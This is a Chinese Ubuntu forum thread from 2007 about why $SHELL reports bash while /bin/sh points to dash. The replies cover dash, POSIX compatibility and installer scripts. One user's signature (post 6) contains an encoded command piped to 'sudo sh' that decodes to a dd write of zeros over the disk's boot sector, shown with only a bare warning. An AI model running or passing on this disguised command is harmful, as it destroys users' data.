当前时区为 UTC + 8 小时



发表新帖 回复这个主题  [ 16 篇帖子 ]  前往页数 1, 2  下一页
作者 内容
1 楼 
 文章标题 : [问题]为什么$SHELL与所用的sh不一致呢?
帖子发表于 : 2007-05-14 22:39 

注册: 2007-04-30 9:48
帖子: 52
地址: 火星
送出感谢: 0 次
接收感谢: 0 次
用env命令看到:
SHELL=/bin/bash

但是ls -l /bin/sh发现:
/bin/sh -> /bin/dash

为什么会不一致呢?是出问题了还是有什么意义?

系统是 xubuntu 7.04


页首
 用户资料  
 
2 楼 
 文章标题 :
帖子发表于 : 2007-05-14 22:42 
头像

注册: 2005-08-14 21:55
帖子: 58428
地址: 长沙
送出感谢: 4
接收感谢: 272
用户属性里面看看


_________________
● 鸣学


页首
 用户资料  
 
3 楼 
 文章标题 :
帖子发表于 : 2007-05-14 22:42 
头像

注册: 2006-07-02 11:16
帖子: 12522
地址: 廣州
送出感谢: 0 次
接收感谢: 8
有什么问题..两者根本完全无关


_________________
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。


页首
 用户资料  
 
4 楼 
 文章标题 :
帖子发表于 : 2007-05-14 22:45 
头像

注册: 2006-05-19 21:23
帖子: 1277
送出感谢: 0 次
接收感谢: 0 次
查看目前使用那个 shell :
代码:
shell> echo $SHELL


你可以检查配置文件:
代码:
shell> fgrep `whoami` /etc/passwd | awk -F":" '{printf $7}'


_________________
其实我是一个演员!-http://blog.csdn.net/xport/


页首
 用户资料  
 
5 楼 
 文章标题 :
帖子发表于 : 2007-05-14 22:45 
头像

注册: 2007-01-15 17:15
帖子: 3766
送出感谢: 0 次
接收感谢: 0 次
BigSnake.NET 写道:
有什么问题..两者根本完全无关


页首
 用户资料  
 
6 楼 
 文章标题 :
帖子发表于 : 2007-05-14 22:52 

注册: 2007-03-29 12:59
帖子: 262
送出感谢: 0 次
接收感谢: 0 次
我曾听用其他系统的人说/bin/sh是/bin/bash的一个链接,但在ubuntu上不是


_________________
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了


页首
 用户资料  
 
7 楼 
 文章标题 :
帖子发表于 : 2007-05-14 22:57 
头像

注册: 2006-05-19 21:23
帖子: 1277
送出感谢: 0 次
接收感谢: 0 次
ziyun 写道:
我曾听用其他系统的人说/bin/sh是/bin/bash的一个链接,但在ubuntu上不是


代码:
[xport@ubuntu ~] $ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 2007-01-17 01:59 /bin/sh -> dash

[xport@ubuntu ~] $ man dash


_________________
其实我是一个演员!-http://blog.csdn.net/xport/


页首
 用户资料  
 
8 楼 
 文章标题 :
帖子发表于 : 2007-05-15 11:01 

注册: 2006-08-10 16:01
帖子: 172
送出感谢: 0 次
接收感谢: 0 次
好像是6.10开始/bin/sh指向了/bin/dash。功能上更安全也更局限。所以有些shell script 一定要特别指明用/bin/bash yourshellscript
才能正确执行。


_________________
螺钉头虽然愚笨但总想在坚实的生活里钻出自己的天地来。


页首
 用户资料  
 
9 楼 
 文章标题 :
帖子发表于 : 2007-05-15 18:36 

注册: 2007-04-30 9:48
帖子: 52
地址: 火星
送出感谢: 0 次
接收感谢: 0 次
BigSnake.NET 写道:
有什么问题..两者根本完全无关


那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?


页首
 用户资料  
 
10 楼 
 文章标题 :
帖子发表于 : 2007-05-15 18:39 
头像

注册: 2006-07-02 11:16
帖子: 12522
地址: 廣州
送出感谢: 0 次
接收感谢: 8
cyberx 写道:
BigSnake.NET 写道:
有什么问题..两者根本完全无关


那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?


$SHELL 就是你现在用的shell

sh指向dash与此无关


_________________
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。


页首
 用户资料  
 
11 楼 
 文章标题 :
帖子发表于 : 2007-05-15 18:41 
头像

注册: 2006-07-02 11:16
帖子: 12522
地址: 廣州
送出感谢: 0 次
接收感谢: 8
oldniu 写道:
好像是6.10开始/bin/sh指向了/bin/dash。功能上更安全也更局限。所以有些shell script 一定要特别指明用/bin/bash yourshellscript
才能正确执行。

安装bash..卸掉dash就可以了,注意同时调整你的shell


_________________
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。


页首
 用户资料  
 
12 楼 
 文章标题 :
帖子发表于 : 2007-05-15 19:51 

注册: 2007-04-30 9:48
帖子: 52
地址: 火星
送出感谢: 0 次
接收感谢: 0 次
BigSnake.NET 写道:
cyberx 写道:
BigSnake.NET 写道:
有什么问题..两者根本完全无关


那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?


$SHELL 就是你现在用的shell

sh指向dash与此无关


好像不是这样哦,听说dash比bash快,而且更符合posix规范,一直用dash的,装intel的cpp编译器的时候就遇到麻烦了。那个安装脚本不能顺利执行,但是把 sh 指向 bash就可以安装成功了。之后又指回来了。

$which sh
/bin/sh

/bin/sh -> /bin/dash


页首
 用户资料  
 
13 楼 
 文章标题 :
帖子发表于 : 2007-05-15 19:53 
头像

注册: 2006-07-02 11:16
帖子: 12522
地址: 廣州
送出感谢: 0 次
接收感谢: 8
cyberx 写道:
BigSnake.NET 写道:
cyberx 写道:
BigSnake.NET 写道:
有什么问题..两者根本完全无关


那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?


$SHELL 就是你现在用的shell

sh指向dash与此无关


好像不是这样哦,听说dash比bash快,而且更符合posix规范,一直用dash的,装intel的cpp编译器的时候就遇到麻烦了。那个安装脚本不能顺利执行,但是把 sh 指向 bash就可以安装成功了。之后又指回来了。

$which sh
/bin/sh

/bin/sh -> /bin/dash


因为现在大多数使用sh的脚本实际上是使用了bash的功能,而dash没有这些功能,所以就不行了


_________________
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。


页首
 用户资料  
 
14 楼 
 文章标题 :
帖子发表于 : 2007-05-15 19:57 
头像

注册: 2006-05-19 21:23
帖子: 1277
送出感谢: 0 次
接收感谢: 0 次
写shell的人没有注意兼容性,现在不是都在向POSIX看齐了么?


_________________
其实我是一个演员!-http://blog.csdn.net/xport/


页首
 用户资料  
 
15 楼 
 文章标题 :
帖子发表于 : 2007-05-15 20:14 

注册: 2007-04-30 9:48
帖子: 52
地址: 火星
送出感谢: 0 次
接收感谢: 0 次
BigSnake.NET 写道:
cyberx 写道:
BigSnake.NET 写道:
cyberx 写道:
BigSnake.NET 写道:
有什么问题..两者根本完全无关


那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?


$SHELL 就是你现在用的shell

sh指向dash与此无关


好像不是这样哦,听说dash比bash快,而且更符合posix规范,一直用dash的,装intel的cpp编译器的时候就遇到麻烦了。那个安装脚本不能顺利执行,但是把 sh 指向 bash就可以安装成功了。之后又指回来了。

$which sh
/bin/sh

/bin/sh -> /bin/dash


因为现在大多数使用sh的脚本实际上是使用了bash的功能,而dash没有这些功能,所以就不行了


这个例子说明$SHELL跟sh在新版ubuntu里不是一个东西了,那么这个变量到底是干啥用的乜?与实际不符会不会出问题?


页首
 用户资料  
 
显示帖子 :  排序  
发表新帖 回复这个主题  [ 16 篇帖子 ]  前往页数 1, 2  下一页

当前时区为 UTC + 8 小时


在线用户

正在浏览此版面的用户:没有注册用户 和 4 位游客


不能 在这个版面发表主题
不能 在这个版面回复主题
不能 在这个版面编辑帖子
不能 在这个版面删除帖子
不能 在这个版面提交附件

前往 :  
本站点为公益性站点,用于推广开源自由软件,由 DiaHosting VPSBudgetVM VPS 提供服务。
我们认为:软件应可免费取得,软件工具在各种语言环境下皆可使用,且不会有任何功能上的差异;
人们应有定制和修改软件的自由,且方式不受限制,只要他们自认为合适。

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
简体中文语系由 王笑宇 翻译